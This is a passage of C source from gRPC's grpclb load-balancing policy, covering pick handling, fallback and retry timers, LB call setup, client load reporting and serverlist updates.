grpc_lb_policy *pol,
uint32_t initial_metadata_flags_mask,
uint32_t initial_metadata_flags_eq,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
pending_pick *pp = glb_policy->pending_picks;
glb_policy->pending_picks = NULL;
while (pp != NULL) {
pending_pick *next = pp->next;
if ((pp->pick_args.initial_metadata_flags & initial_metadata_flags_mask) ==
initial_metadata_flags_eq) {
GRPC_CLOSURE_SCHED(exec_ctx, &pp->wrapped_on_complete_arg.wrapper_closure,
GRPC_ERROR_CREATE_REFERENCING_FROM_STATIC_STRING(
"Pick Cancelled", &error, 1));
} else {
pp->next = glb_policy->pending_picks;
glb_policy->pending_picks = pp;
}
pp = next;
}
if (glb_policy->rr_policy != NULL) {
grpc_lb_policy_cancel_picks_locked(
exec_ctx, glb_policy->rr_policy, initial_metadata_flags_mask,
initial_metadata_flags_eq, GRPC_ERROR_REF(error));
}
GRPC_ERROR_UNREF(error);
}
static void lb_on_fallback_timer_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error);
static void query_for_backends_locked(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy);
static void start_picking_locked(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
/* start a timer to fall back */
if (glb_policy->lb_fallback_timeout_ms > 0 &&
glb_policy->serverlist == NULL && !glb_policy->fallback_timer_active) {
grpc_millis deadline =
grpc_exec_ctx_now(exec_ctx) + glb_policy->lb_fallback_timeout_ms;
GRPC_LB_POLICY_WEAK_REF(&glb_policy->base, "grpclb_fallback_timer");
GRPC_CLOSURE_INIT(&glb_policy->lb_on_fallback, lb_on_fallback_timer_locked,
glb_policy,
grpc_combiner_scheduler(glb_policy->base.combiner));
glb_policy->fallback_timer_active = true;
grpc_timer_init(exec_ctx, &glb_policy->lb_fallback_timer, deadline,
&glb_policy->lb_on_fallback);
}
glb_policy->started_picking = true;
grpc_backoff_reset(&glb_policy->lb_call_backoff_state);
query_for_backends_locked(exec_ctx, glb_policy);
}
static void glb_exit_idle_locked(grpc_exec_ctx *exec_ctx, grpc_lb_policy *pol) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
if (!glb_policy->started_picking) {
start_picking_locked(exec_ctx, glb_policy);
}
}
static int glb_pick_locked(grpc_exec_ctx *exec_ctx, grpc_lb_policy *pol,
const grpc_lb_policy_pick_args *pick_args,
grpc_connected_subchannel **target,
grpc_call_context_element *context, void **user_data,
grpc_closure *on_complete) {
if (pick_args->lb_token_mdelem_storage == NULL) {
*target = NULL;
GRPC_CLOSURE_SCHED(exec_ctx, on_complete,
GRPC_ERROR_CREATE_FROM_STATIC_STRING(
"No mdelem storage for the LB token. Load reporting "
"won't work without it. Failing"));
return 0;
}
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
bool pick_done;
if (glb_policy->rr_policy != NULL) {
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "grpclb %p about to PICK from RR %p",
(void *)glb_policy, (void *)glb_policy->rr_policy);
}
GRPC_LB_POLICY_REF(glb_policy->rr_policy, "glb_pick");
wrapped_rr_closure_arg *wc_arg =
(wrapped_rr_closure_arg *)gpr_zalloc(sizeof(wrapped_rr_closure_arg));
GRPC_CLOSURE_INIT(&wc_arg->wrapper_closure, wrapped_rr_closure, wc_arg,
grpc_schedule_on_exec_ctx);
wc_arg->rr_policy = glb_policy->rr_policy;
wc_arg->target = target;
wc_arg->context = context;
GPR_ASSERT(glb_policy->client_stats != NULL);
wc_arg->client_stats =
grpc_grpclb_client_stats_ref(glb_policy->client_stats);
wc_arg->wrapped_closure = on_complete;
wc_arg->lb_token_mdelem_storage = pick_args->lb_token_mdelem_storage;
wc_arg->initial_metadata = pick_args->initial_metadata;
wc_arg->free_when_done = wc_arg;
pick_done =
pick_from_internal_rr_locked(exec_ctx, glb_policy, pick_args,
false /* force_async */, target, wc_arg);
} else {
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_DEBUG,
"No RR policy in grpclb instance %p. Adding to grpclb's pending "
"picks",
(void *)(glb_policy));
}
add_pending_pick(&glb_policy->pending_picks, pick_args, target, context,
on_complete);
if (!glb_policy->started_picking) {
start_picking_locked(exec_ctx, glb_policy);
}
pick_done = false;
}
return pick_done;
}
static grpc_connectivity_state glb_check_connectivity_locked(
grpc_exec_ctx *exec_ctx, grpc_lb_policy *pol,
grpc_error **connectivity_error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
return grpc_connectivity_state_get(&glb_policy->state_tracker,
connectivity_error);
}
static void glb_ping_one_locked(grpc_exec_ctx *exec_ctx, grpc_lb_policy *pol,
grpc_closure *closure) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
if (glb_policy->rr_policy) {
grpc_lb_policy_ping_one_locked(exec_ctx, glb_policy->rr_policy, closure);
} else {
add_pending_ping(&glb_policy->pending_pings, closure);
if (!glb_policy->started_picking) {
start_picking_locked(exec_ctx, glb_policy);
}
}
}
static void glb_notify_on_state_change_locked(grpc_exec_ctx *exec_ctx,
grpc_lb_policy *pol,
grpc_connectivity_state *current,
grpc_closure *notify) {
glb_lb_policy *glb_policy = (glb_lb_policy *)pol;
grpc_connectivity_state_notify_on_state_change(
exec_ctx, &glb_policy->state_tracker, current, notify);
}
static void lb_call_on_retry_timer_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)arg;
glb_policy->retry_timer_active = false;
if (!glb_policy->shutting_down && error == GRPC_ERROR_NONE) {
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Restaring call to LB server (grpclb %p)",
(void *)glb_policy);
}
GPR_ASSERT(glb_policy->lb_call == NULL);
query_for_backends_locked(exec_ctx, glb_policy);
}
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base, "grpclb_retry_timer");
}
static void maybe_restart_lb_call(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
if (glb_policy->started_picking && glb_policy->updating_lb_call) {
if (glb_policy->retry_timer_active) {
grpc_timer_cancel(exec_ctx, &glb_policy->lb_call_retry_timer);
}
if (!glb_policy->shutting_down) start_picking_locked(exec_ctx, glb_policy);
glb_policy->updating_lb_call = false;
} else if (!glb_policy->shutting_down) {
/* if we aren't shutting down, restart the LB client call after some time */
grpc_millis next_try =
grpc_backoff_step(exec_ctx, &glb_policy->lb_call_backoff_state);
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_DEBUG, "Connection to LB server lost (grpclb: %p)...",
(void *)glb_policy);
grpc_millis timeout = next_try - grpc_exec_ctx_now(exec_ctx);
if (timeout > 0) {
gpr_log(GPR_DEBUG, "... retry_timer_active in %" PRIdPTR "ms.",
timeout);
} else {
gpr_log(GPR_DEBUG, "... retry_timer_active immediately.");
}
}
GRPC_LB_POLICY_WEAK_REF(&glb_policy->base, "grpclb_retry_timer");
GRPC_CLOSURE_INIT(&glb_policy->lb_on_call_retry,
lb_call_on_retry_timer_locked, glb_policy,
grpc_combiner_scheduler(glb_policy->base.combiner));
glb_policy->retry_timer_active = true;
grpc_timer_init(exec_ctx, &glb_policy->lb_call_retry_timer, next_try,
&glb_policy->lb_on_call_retry);
}
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"lb_on_server_status_received_locked");
}
static void send_client_load_report_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error);
static void schedule_next_client_load_report(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
const grpc_millis next_client_load_report_time =
grpc_exec_ctx_now(exec_ctx) + glb_policy->client_stats_report_interval;
GRPC_CLOSURE_INIT(&glb_policy->client_load_report_closure,
send_client_load_report_locked, glb_policy,
grpc_combiner_scheduler(glb_policy->base.combiner));
grpc_timer_init(exec_ctx, &glb_policy->client_load_report_timer,
next_client_load_report_time,
&glb_policy->client_load_report_closure);
}
static void client_load_report_done_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)arg;
grpc_byte_buffer_destroy(glb_policy->client_load_report_payload);
glb_policy->client_load_report_payload = NULL;
if (error != GRPC_ERROR_NONE || glb_policy->lb_call == NULL) {
glb_policy->client_load_report_timer_pending = false;
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"client_load_report");
return;
}
schedule_next_client_load_report(exec_ctx, glb_policy);
}
static bool load_report_counters_are_zero(grpc_grpclb_request *request) {
grpc_grpclb_dropped_call_counts *drop_entries =
(grpc_grpclb_dropped_call_counts *)
request->client_stats.calls_finished_with_drop.arg;
return request->client_stats.num_calls_started == 0 &&
request->client_stats.num_calls_finished == 0 &&
request->client_stats.num_calls_finished_with_client_failed_to_send ==
0 &&
request->client_stats.num_calls_finished_known_received == 0 &&
(drop_entries == NULL || drop_entries->num_entries == 0);
}
static void send_client_load_report_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)arg;
if (error == GRPC_ERROR_CANCELLED || glb_policy->lb_call == NULL) {
glb_policy->client_load_report_timer_pending = false;
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"client_load_report");
if (glb_policy->lb_call == NULL) {
maybe_restart_lb_call(exec_ctx, glb_policy);
}
return;
}
// Construct message payload.
GPR_ASSERT(glb_policy->client_load_report_payload == NULL);
grpc_grpclb_request *request =
grpc_grpclb_load_report_request_create_locked(glb_policy->client_stats);
// Skip client load report if the counters were all zero in the last
// report and they are still zero in this one.
if (load_report_counters_are_zero(request)) {
if (glb_policy->last_client_load_report_counters_were_zero) {
grpc_grpclb_request_destroy(request);
schedule_next_client_load_report(exec_ctx, glb_policy);
return;
}
glb_policy->last_client_load_report_counters_were_zero = true;
} else {
glb_policy->last_client_load_report_counters_were_zero = false;
}
grpc_slice request_payload_slice = grpc_grpclb_request_encode(request);
glb_policy->client_load_report_payload =
grpc_raw_byte_buffer_create(&request_payload_slice, 1);
grpc_slice_unref_internal(exec_ctx, request_payload_slice);
grpc_grpclb_request_destroy(request);
// Send load report message.
grpc_op op;
memset(&op, 0, sizeof(op));
op.op = GRPC_OP_SEND_MESSAGE;
op.data.send_message.send_message = glb_policy->client_load_report_payload;
GRPC_CLOSURE_INIT(&glb_policy->client_load_report_closure,
client_load_report_done_locked, glb_policy,
grpc_combiner_scheduler(glb_policy->base.combiner));
grpc_call_error call_error = grpc_call_start_batch_and_execute(
exec_ctx, glb_policy->lb_call, &op, 1,
&glb_policy->client_load_report_closure);
if (call_error != GRPC_CALL_OK) {
gpr_log(GPR_ERROR, "call_error=%d", call_error);
GPR_ASSERT(GRPC_CALL_OK == call_error);
}
}
static void lb_on_server_status_received_locked(grpc_exec_ctx *exec_ctx,
void *arg, grpc_error *error);
static void lb_on_response_received_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error);
static void lb_call_init_locked(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
GPR_ASSERT(glb_policy->server_name != NULL);
GPR_ASSERT(glb_policy->server_name[0] != '\0');
GPR_ASSERT(glb_policy->lb_call == NULL);
GPR_ASSERT(!glb_policy->shutting_down);
/* Note the following LB call progresses every time there's activity in \a
* glb_policy->base.interested_parties, which is comprised of the polling
* entities from \a client_channel. */
grpc_slice host = grpc_slice_from_copied_string(glb_policy->server_name);
grpc_millis deadline =
glb_policy->lb_call_timeout_ms == 0
? GRPC_MILLIS_INF_FUTURE
: grpc_exec_ctx_now(exec_ctx) + glb_policy->lb_call_timeout_ms;
glb_policy->lb_call = grpc_channel_create_pollset_set_call(
exec_ctx, glb_policy->lb_channel, NULL, GRPC_PROPAGATE_DEFAULTS,
glb_policy->base.interested_parties,
GRPC_MDSTR_SLASH_GRPC_DOT_LB_DOT_V1_DOT_LOADBALANCER_SLASH_BALANCELOAD,
&host, deadline, NULL);
grpc_slice_unref_internal(exec_ctx, host);
if (glb_policy->client_stats != NULL) {
grpc_grpclb_client_stats_unref(glb_policy->client_stats);
}
glb_policy->client_stats = grpc_grpclb_client_stats_create();
grpc_metadata_array_init(&glb_policy->lb_initial_metadata_recv);
grpc_metadata_array_init(&glb_policy->lb_trailing_metadata_recv);
grpc_grpclb_request *request =
grpc_grpclb_request_create(glb_policy->server_name);
grpc_slice request_payload_slice = grpc_grpclb_request_encode(request);
glb_policy->lb_request_payload =
grpc_raw_byte_buffer_create(&request_payload_slice, 1);
grpc_slice_unref_internal(exec_ctx, request_payload_slice);
grpc_grpclb_request_destroy(request);
GRPC_CLOSURE_INIT(&glb_policy->lb_on_server_status_received,
lb_on_server_status_received_locked, glb_policy,
grpc_combiner_scheduler(glb_policy->base.combiner));
GRPC_CLOSURE_INIT(&glb_policy->lb_on_response_received,
lb_on_response_received_locked, glb_policy,
grpc_combiner_scheduler(glb_policy->base.combiner));
grpc_backoff_init(&glb_policy->lb_call_backoff_state,
GRPC_GRPCLB_INITIAL_CONNECT_BACKOFF_SECONDS,
GRPC_GRPCLB_RECONNECT_BACKOFF_MULTIPLIER,
GRPC_GRPCLB_RECONNECT_JITTER,
GRPC_GRPCLB_MIN_CONNECT_TIMEOUT_SECONDS * 1000,
GRPC_GRPCLB_RECONNECT_MAX_BACKOFF_SECONDS * 1000);
glb_policy->seen_initial_response = false;
glb_policy->last_client_load_report_counters_were_zero = false;
}
static void lb_call_destroy_locked(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
GPR_ASSERT(glb_policy->lb_call != NULL);
grpc_call_unref(glb_policy->lb_call);
glb_policy->lb_call = NULL;
grpc_metadata_array_destroy(&glb_policy->lb_initial_metadata_recv);
grpc_metadata_array_destroy(&glb_policy->lb_trailing_metadata_recv);
grpc_byte_buffer_destroy(glb_policy->lb_request_payload);
grpc_slice_unref_internal(exec_ctx, glb_policy->lb_call_status_details);
if (glb_policy->client_load_report_timer_pending) {
grpc_timer_cancel(exec_ctx, &glb_policy->client_load_report_timer);
}
}
/*
* Auxiliary functions and LB client callbacks.
*/
static void query_for_backends_locked(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy) {
GPR_ASSERT(glb_policy->lb_channel != NULL);
if (glb_policy->shutting_down) return;
lb_call_init_locked(exec_ctx, glb_policy);
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO,
"Query for backends (grpclb: %p, lb_channel: %p, lb_call: %p)",
(void *)glb_policy, (void *)glb_policy->lb_channel,
(void *)glb_policy->lb_call);
}
GPR_ASSERT(glb_policy->lb_call != NULL);
grpc_call_error call_error;
grpc_op ops[3];
memset(ops, 0, sizeof(ops));
grpc_op *op = ops;
op->op = GRPC_OP_SEND_INITIAL_METADATA;
op->data.send_initial_metadata.count = 0;
op->flags = 0;
op->reserved = NULL;
op++;
op->op = GRPC_OP_RECV_INITIAL_METADATA;
op->data.recv_initial_metadata.recv_initial_metadata =
&glb_policy->lb_initial_metadata_recv;
op->flags = 0;
op->reserved = NULL;
op++;
GPR_ASSERT(glb_policy->lb_request_payload != NULL);
op->op = GRPC_OP_SEND_MESSAGE;
op->data.send_message.send_message = glb_policy->lb_request_payload;
op->flags = 0;
op->reserved = NULL;
op++;
call_error = grpc_call_start_batch_and_execute(exec_ctx, glb_policy->lb_call,
ops, (size_t)(op - ops), NULL);
GPR_ASSERT(GRPC_CALL_OK == call_error);
op = ops;
op->op = GRPC_OP_RECV_STATUS_ON_CLIENT;
op->data.recv_status_on_client.trailing_metadata =
&glb_policy->lb_trailing_metadata_recv;
op->data.recv_status_on_client.status = &glb_policy->lb_call_status;
op->data.recv_status_on_client.status_details =
&glb_policy->lb_call_status_details;
op->flags = 0;
op->reserved = NULL;
op++;
/* take a weak ref (won't prevent calling of \a glb_shutdown if the strong ref
* count goes to zero) to be unref'd in lb_on_server_status_received_locked */
GRPC_LB_POLICY_WEAK_REF(&glb_policy->base,
"lb_on_server_status_received_locked");
call_error = grpc_call_start_batch_and_execute(
exec_ctx, glb_policy->lb_call, ops, (size_t)(op - ops),
&glb_policy->lb_on_server_status_received);
GPR_ASSERT(GRPC_CALL_OK == call_error);
op = ops;
op->op = GRPC_OP_RECV_MESSAGE;
op->data.recv_message.recv_message = &glb_policy->lb_response_payload;
op->flags = 0;
op->reserved = NULL;
op++;
/* take another weak ref to be unref'd/reused in
* lb_on_response_received_locked */
GRPC_LB_POLICY_WEAK_REF(&glb_policy->base, "lb_on_response_received_locked");
call_error = grpc_call_start_batch_and_execute(
exec_ctx, glb_policy->lb_call, ops, (size_t)(op - ops),
&glb_policy->lb_on_response_received);
GPR_ASSERT(GRPC_CALL_OK == call_error);
}
static void lb_on_response_received_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)arg;
grpc_op ops[2];
memset(ops, 0, sizeof(ops));
grpc_op *op = ops;
if (glb_policy->lb_response_payload != NULL) {
grpc_backoff_reset(&glb_policy->lb_call_backoff_state);
/* Received data from the LB server. Look inside
* glb_policy->lb_response_payload, for a serverlist. */
grpc_byte_buffer_reader bbr;
grpc_byte_buffer_reader_init(&bbr, glb_policy->lb_response_payload);
grpc_slice response_slice = grpc_byte_buffer_reader_readall(&bbr);
grpc_byte_buffer_reader_destroy(&bbr);
grpc_byte_buffer_destroy(glb_policy->lb_response_payload);
grpc_grpclb_initial_response *response = NULL;
if (!glb_policy->seen_initial_response &&
(response = grpc_grpclb_initial_response_parse(response_slice)) !=
NULL) {
if (response->has_client_stats_report_interval) {
glb_policy->client_stats_report_interval = GPR_MAX(
GPR_MS_PER_SEC, grpc_grpclb_duration_to_millis(
&response->client_stats_report_interval));
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO,
"received initial LB response message; "
"client load reporting interval = %" PRIdPTR " milliseconds",
glb_policy->client_stats_report_interval);
}
/* take a weak ref (won't prevent calling of \a glb_shutdown() if the
* strong ref count goes to zero) to be unref'd in
* send_client_load_report_locked() */
glb_policy->client_load_report_timer_pending = true;
GRPC_LB_POLICY_WEAK_REF(&glb_policy->base, "client_load_report");
schedule_next_client_load_report(exec_ctx, glb_policy);
} else if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO,
"received initial LB response message; "
"client load reporting NOT enabled");
}
grpc_grpclb_initial_response_destroy(response);
glb_policy->seen_initial_response = true;
} else {
grpc_grpclb_serverlist *serverlist =
grpc_grpclb_response_parse_serverlist(response_slice);
if (serverlist != NULL) {
GPR_ASSERT(glb_policy->lb_call != NULL);
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Serverlist with %lu servers received",
(unsigned long)serverlist->num_servers);
for (size_t i = 0; i < serverlist->num_servers; ++i) {
grpc_resolved_address addr;
parse_server(serverlist->servers[i], &addr);
char *ipport;
grpc_sockaddr_to_string(&ipport, &addr, false);
gpr_log(GPR_INFO, "Serverlist[%lu]: %s", (unsigned long)i, ipport);
gpr_free(ipport);
}
}
/* update serverlist */
if (serverlist->num_servers > 0) {
if (grpc_grpclb_serverlist_equals(glb_policy->serverlist,
serverlist)) {
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO,
"Incoming server list identical to current, ignoring.");
}
grpc_grpclb_destroy_serverlist(serverlist);
} else { /* new serverlist */
if (glb_policy->serverlist != NULL) {
/* dispose of the old serverlist */
grpc_grpclb_destroy_serverlist(glb_policy->serverlist);
} else {
/* or dispose of the fallback */
grpc_lb_addresses_destroy(exec_ctx,
glb_policy->fallback_backend_addresses);
glb_policy->fallback_backend_addresses = NULL;
if (glb_policy->fallback_timer_active) {
grpc_timer_cancel(exec_ctx, &glb_policy->lb_fallback_timer);
glb_policy->fallback_timer_active = false;
}
}
/* and update the copy in the glb_lb_policy instance. This
* serverlist instance will be destroyed either upon the next
* update or in glb_destroy() */
glb_policy->serverlist = serverlist;
glb_policy->serverlist_index = 0;
rr_handover_locked(exec_ctx, glb_policy);
}
} else {
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Received empty server list, ignoring.");
}
grpc_grpclb_destroy_serverlist(serverlist);
}
} else { /* serverlist == NULL */
gpr_log(GPR_ERROR, "Invalid LB response received: '%s'. Ignoring.",
grpc_dump_slice(response_slice, GPR_DUMP_ASCII | GPR_DUMP_HEX));
}
}
grpc_slice_unref_internal(exec_ctx, response_slice);
if (!glb_policy->shutting_down) {
/* keep listening for serverlist updates */
op->op = GRPC_OP_RECV_MESSAGE;
op->data.recv_message.recv_message = &glb_policy->lb_response_payload;
op->flags = 0;
op->reserved = NULL;
op++;
/* reuse the "lb_on_response_received_locked" weak ref taken in
* query_for_backends_locked() */
const grpc_call_error call_error = grpc_call_start_batch_and_execute(
exec_ctx, glb_policy->lb_call, ops, (size_t)(op - ops),
&glb_policy->lb_on_response_received); /* loop */
GPR_ASSERT(GRPC_CALL_OK == call_error);
} else {
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"lb_on_response_received_locked_shutdown");
}
} else { /* empty payload: call cancelled. */
/* dispose of the "lb_on_response_received_locked" weak ref taken in
* query_for_backends_locked() and reused in every reception loop */
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"lb_on_response_received_locked_empty_payload");
}
}
static void lb_on_fallback_timer_locked(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)arg;
glb_policy->fallback_timer_active = false;
/* If we receive a serverlist after the timer fires but before this callback
* actually runs, don't fall back. */
if (glb_policy->serverlist == NULL) {
if (!glb_policy->shutting_down && error == GRPC_ERROR_NONE) {
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO,
"Falling back to use backends from resolver (grpclb %p)",
(void *)glb_policy);
}
GPR_ASSERT(glb_policy->fallback_backend_addresses != NULL);
rr_handover_locked(exec_ctx, glb_policy);
}
}
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"grpclb_fallback_timer");
}
static void lb_on_server_status_received_locked(grpc_exec_ctx *exec_ctx,
void *arg, grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)arg;
GPR_ASSERT(glb_policy->lb_call != NULL);
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
char *status_details =
grpc_slice_to_c_string(glb_policy->lb_call_status_details);
gpr_log(GPR_INFO,
"Status from LB server received. Status = %d, Details = '%s', "
"(call: %p), error %p",
glb_policy->lb_call_status, status_details,
(void *)glb_policy->lb_call, (void *)error);
gpr_free(status_details);
}
/* We need to perform cleanups no matter what. */
lb_call_destroy_locked(exec_ctx, glb_policy);
// If the load report timer is still pending, we wait for it to be
// called before restarting the call. Otherwise, we restart the call
// here.
if (!glb_policy->client_load_report_timer_pending) {
maybe_restart_lb_call(exec_ctx, glb_policy);
}
}
static void fallback_update_locked(grpc_exec_ctx *exec_ctx,
glb_lb_policy *glb_policy,
const grpc_lb_addresses *addresses) {
GPR_ASSERT(glb_policy->fallback_backend_addresses != NULL);
grpc_lb_addresses_destroy(exec_ctx, glb_policy->fallback_backend_addresses);
glb_policy->fallback_backend_addresses =
extract_backend_addresses_locked(exec_ctx, addresses);
if (glb_policy->lb_fallback_timeout_ms > 0 &&
!glb_policy->fallback_timer_active) {
rr_handover_locked(exec_ctx, glb_policy);
}
}
static void glb_update_locked(grpc_exec_ctx *exec_ctx, grpc_lb_policy *policy,
const grpc_lb_policy_args *args) {
glb_lb_policy *glb_policy = (glb_lb_policy *)policy;
const grpc_arg *arg =
grpc_channel_args_find(args->args, GRPC_ARG_LB_ADDRESSES);
if (arg == NULL || arg->type != GRPC_ARG_POINTER) {
if (glb_policy->lb_channel == NULL) {
// If we don't have a current channel to the LB, go into TRANSIENT
// FAILURE.
grpc_connectivity_state_set(
exec_ctx, &glb_policy->state_tracker, GRPC_CHANNEL_TRANSIENT_FAILURE,
GRPC_ERROR_CREATE_FROM_STATIC_STRING("Missing update in args"),
"glb_update_missing");
} else {
// otherwise, keep using the current LB channel (ignore this update).
gpr_log(GPR_ERROR,
"No valid LB addresses channel arg for grpclb %p update, "
"ignoring.",
(void *)glb_policy);
}
return;
}
const grpc_lb_addresses *addresses =
(const grpc_lb_addresses *)arg->value.pointer.p;
// If a non-empty serverlist hasn't been received from the balancer,
// propagate the update to fallback_backend_addresses.
if (glb_policy->serverlist == NULL) {
fallback_update_locked(exec_ctx, glb_policy, addresses);
}
GPR_ASSERT(glb_policy->lb_channel != NULL);
// Propagate updates to the LB channel (pick_first) through the fake
// resolver.
grpc_channel_args *lb_channel_args = build_lb_channel_args(
exec_ctx, addresses, glb_policy->response_generator, args->args);
grpc_fake_resolver_response_generator_set_response(
exec_ctx, glb_policy->response_generator, lb_channel_args);
grpc_channel_args_destroy(exec_ctx, lb_channel_args);
// Start watching the LB channel connectivity for connection, if not
// already doing so.
if (!glb_policy->watching_lb_channel) {
glb_policy->lb_channel_connectivity = grpc_channel_check_connectivity_state(
glb_policy->lb_channel, true /* try to connect */);
grpc_channel_element *client_channel_elem = grpc_channel_stack_last_element(
grpc_channel_get_channel_stack(glb_policy->lb_channel));
GPR_ASSERT(client_channel_elem->filter == &grpc_client_channel_filter);
glb_policy->watching_lb_channel = true;
GRPC_LB_POLICY_WEAK_REF(&glb_policy->base, "watch_lb_channel_connectivity");
grpc_client_channel_watch_connectivity_state(
exec_ctx, client_channel_elem,
grpc_polling_entity_create_from_pollset_set(
glb_policy->base.interested_parties),
&glb_policy->lb_channel_connectivity,
&glb_policy->lb_channel_on_connectivity_changed, NULL);
}
}
// Invoked as part of the update process. It continues watching the LB channel
// until it shuts down or becomes READY. It's invoked even if the LB channel
// stayed READY throughout the update (for example if the update is identical).
static void glb_lb_channel_on_connectivity_changed_cb(grpc_exec_ctx *exec_ctx,
void *arg,
grpc_error *error) {
glb_lb_policy *glb_policy = (glb_lb_policy *)arg;
if (glb_policy->shutting_down) goto done;
// Re-initialize the lb_call. This should also take care of updating the
// embedded RR policy. Note that the current RR policy, if any, will stay in
// effect until an update from the new lb_call is received.
switch (glb_policy->lb_channel_connectivity) {
case GRPC_CHANNEL_INIT:
case GRPC_CHANNEL_CONNECTING:
case GRPC_CHANNEL_TRANSIENT_FAILURE: {
/* resub. */
grpc_channel_element *client_channel_elem =
grpc_channel_stack_last_element(
grpc_channel_get_channel_stack(glb_policy->lb_channel));
GPR_ASSERT(client_channel_elem->filter == &grpc_client_channel_filter);
grpc_client_channel_watch_connectivity_state(
exec_ctx, client_channel_elem,
grpc_polling_entity_create_from_pollset_set(
glb_policy->base.interested_parties),
&glb_policy->lb_channel_connectivity,
&glb_policy->lb_channel_on_connectivity_changed, NULL);
break;
}
case GRPC_CHANNEL_IDLE:
// lb channel inactive (probably shutdown prior to update). Restart lb
// call to kick the lb channel into gear.
GPR_ASSERT(glb_policy->lb_call == NULL);
/* fallthrough */
case GRPC_CHANNEL_READY:
if (glb_policy->lb_call != NULL) {
glb_policy->updating_lb_call = true;
grpc_call_cancel(glb_policy->lb_call, NULL);
// lb_on_server_status_received() will pick up the cancel and reinit
// lb_call.
} else if (glb_policy->started_picking && !glb_policy->shutting_down) {
if (glb_policy->retry_timer_active) {
grpc_timer_cancel(exec_ctx, &glb_policy->lb_call_retry_timer);
glb_policy->retry_timer_active = false;
}
start_picking_locked(exec_ctx, glb_policy);
}
/* fallthrough */
case GRPC_CHANNEL_SHUTDOWN:
done:
glb_policy->watching_lb_channel = false;
GRPC_LB_POLICY_WEAK_UNREF(exec_ctx, &glb_policy->base,
"watch_lb_channel_connectivity_cb_shutdown");
break;
}
}
/* Code wiring the policy with the rest of the core */
static const grpc_lb_policy_vtable glb_lb_policy_vtable = {
glb_destroy,
glb_shutdown_locked,
glb_pick_locked,
glb_cancel_pick_locked,
glb_cancel_picks_locked,
glb_ping_one_locked,
glb_exit_idle_locked,
glb_check_connectivity_locked,
glb_notify_on_state_change_locked,
glb_update_locked};
static grpc_lb_policy *glb_create(grpc_exec_ctx *exec_ctx,
grpc_lb_policy_factory *factory,
grpc_lb_policy_args *args) {
/* Count the number of gRPC-LB addresses. There must be at least one. */
const grpc_arg *arg =
grpc_channel_args_find(args->args, GRPC_ARG_LB_ADDRESSES);
if (arg == NULL || arg->type != GRPC_ARG_POINTER) {
return NULL;
}
grpc_lb_addresses *addresses = (grpc_lb_addresses *)arg->value.pointer.p;
size_t num_grpclb_addrs = 0;
for (size_t i = 0; i < addresses->num_addresses; ++i) {
if (addresses->addresses[i].is_balancer) ++num_grpclb_addrs;
}
if (num_grpclb_addrs == 0) return NULL;
glb_lb_policy *glb_policy = (glb_lb_policy *)gpr_zalloc(sizeof(*glb_policy));
/* Get server name. */
arg = grpc_channel_args_find(args->args, GRPC_ARG_SERVER_URI);
GPR_ASSERT(arg != NULL);
GPR_ASSERT(arg->type == GRPC_ARG_STRING);
grpc_uri *uri = grpc_uri_parse(exec_ctx, arg->value.string, true);
GPR_ASSERT(uri->path[0] != '\0');
glb_policy->server_name =
gpr_strdup(uri->path[0] == '/' ? uri->path + 1 : uri->path);
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Will use '%s' as the server name for LB request.",
glb_policy->server_name);
}
grpc_uri_destroy(uri);
glb_policy->cc_factory = args->client_channel_factory;
GPR_ASSERT(glb_policy->cc_factory != NULL);
arg = grpc_channel_args_find(args->args, GRPC_ARG_GRPCLB_CALL_TIMEOUT_MS);
